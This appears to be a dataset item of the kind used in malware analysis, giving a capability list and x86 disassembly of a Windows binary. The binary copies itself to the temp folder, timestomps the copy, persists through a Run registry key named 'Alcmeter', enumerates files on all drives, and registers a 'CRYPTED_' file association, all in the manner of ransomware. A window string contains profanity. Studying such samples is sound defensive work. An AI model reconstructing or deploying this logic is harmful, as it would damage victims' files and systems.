Function at 0x4021d1
Capabilities:
Accept command line arguments
Copy file
Get common file path
Get disk information
Persist via run registry key

Disassembly:
call sub.comctl32.dll_InitCommonControls
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x407766], eax
call sub.KERNEL32.DLL_GetCommandLineA
mov dword [0x40775e], eax
push 0xa
push dword [0x40775e]
push 0
push dword [0x407766]
call 0x40199f
push ebp
mov ebp, esp
add esp, 0xffffffa4
mov dword [ebp - 0x30], 0x30
mov dword [ebp - 0x2c], 0x2003
mov dword [ebp - 0x28], 0x401ab9
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push dword [ebp + 8]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0x10
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], str.0p3nSOurc3_X0r157__motherfucker_
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x30]
push eax
call sub.user32.dll_RegisterClassExA
mov dword [ebp - 0x50], 0x12c
mov dword [ebp - 0x54], 0x69
push 0
call sub.user32.dll_GetSystemMetrics
push eax
push dword [ebp - 0x50]
call fcn.00401e5d
mov dword [ebp - 0x58], eax
push 1
call sub.user32.dll_GetSystemMetrics
push eax
push dword [ebp - 0x54]
call fcn.00401e5d
mov dword [ebp - 0x5c], eax
xor eax, eax
push eax
push dword [ebp + 8]
push eax
push eax
push dword [ebp - 0x54]
push dword [ebp - 0x50]
push dword [ebp - 0x5c]
push dword [ebp - 0x58]
push 0x10000000
mov al, byte [0x40752d]
cmp al, 1
jne 0x401a66
push 0x4043f3
jmp 0x401a6b
push str.Attention_
push str.0p3nSOurc3_X0r157__motherfucker_
push 0x40180
call sub.user32.dll_CreateWindowExA
mov dword [0x407762], eax
push dword [0x407762]
call sub.user32.dll_UpdateWindow
push 0
push 0
push 0
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_GetMessageA
cmp eax, 0
je 0x401ab2
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_DispatchMessageA
jmp 0x401a8a
mov eax, dword [ebp - 0x44]
leave
ret 0x10
call sub.KERNEL32.DLL_GetProcessHeap
mov dword [0x4065b5], eax
call fcn.00401f87
push 0x404e50
push 0x200
call sub.KERNEL32.DLL_GetTempPathA
push 0x404e50
push 0x405950
call sub.KERNEL32.DLL_lstrcpyA
push 0x500
push 0x405450
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push dword [0x4065ad]
push 8
push dword [0x4065b5]
call sub.KERNEL32.DLL_HeapAlloc
mov dword [0x406559], eax
push 0x406db9
call fcn.004017b4
call fcn.00402472
push 0x406dd9
push 0x405950
call sub.KERNEL32.DLL_lstrcatA
push str..exe
push 0x405950
call sub.KERNEL32.DLL_lstrcatA
push 1
push 0x405950
push 0x405450
call sub.KERNEL32.DLL_CopyFileA
or eax, eax
jne 0x40226e
jmp 0x40196f
push 0
push 0
push 3
push 0
push 2
push 0x40000000
push 0x405950
call sub.KERNEL32.DLL_CreateFileA
mov dword [0x406551], eax
push 0x407556
push 0x40754e
push 0x407546
push dword [0x406551]
call sub.KERNEL32.DLL_SetFileTime
push dword [0x406551]
call sub.KERNEL32.DLL_CloseHandle
cmp byte [0x407529], 1
jne 0x4022d3
push 0x405950
push str.Alcmeter
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call fcn.00402422
call 0x402342
mov byte [0x406550], 0
push 1
call sub.KERNEL32.DLL_SetErrorMode
call sub.KERNEL32.DLL_GetLogicalDrives
mov ecx, 0x19
mov ebx, 1
shl ebx, cl
and ebx, eax
je 0x402328
add cl, 0x41
mov byte [0x404450], cl
sub cl, 0x41
mov dword [0x404451], 0x2e2a5c3a
mov byte [0x404455], 0x2a
mov byte [0x404456], 0
push eax
push ecx
call fcn.004013a8
pop ecx
pop eax
dec ecx
jge 0x4022f0
call fcn.00401000
push dword [0x406559]
call sub.KERNEL32.DLL_GlobalFree
push 0
call sub.KERNEL32.DLL_ExitProcess
push 0x404032
push 0x4065b9
call sub.KERNEL32.DLL_lstrcpyA
push dword [0x407521]
push 0x4065b9
call sub.KERNEL32.DLL_lstrcatA
push 0x406de9
push 0x40444b
push 0x4065b9
push 0x80000000
call fcn.00402422
push str.CRYPTED_
push 0x40444b
push 0x406de9
push 0x80000000
call fcn.00402422
push 0x406de9
push 0x4065b9
call sub.KERNEL32.DLL_lstrcpyA
push str.DefaultIcon
push 0x4065b9
call sub.KERNEL32.DLL_lstrcatA
push 0x4043a3
push 0x405950
call sub.KERNEL32.DLL_lstrcatA
push 0x405950
push 0x40444b
push 0x4065b9
push 0x80000000
call fcn.00402422
push 0x406de9
push 0x4065b9
call sub.KERNEL32.DLL_lstrcpyA
push str._shellopencommand
push 0x4065b9
call sub.KERNEL32.DLL_lstrcatA
push 0x405950
call sub.KERNEL32.DLL_lstrlenA
mov byte [eax + 0x40594e], 0
push 0x405950
push 0x40444b
push 0x4065b9
push 0x80000000
call fcn.00402422
ret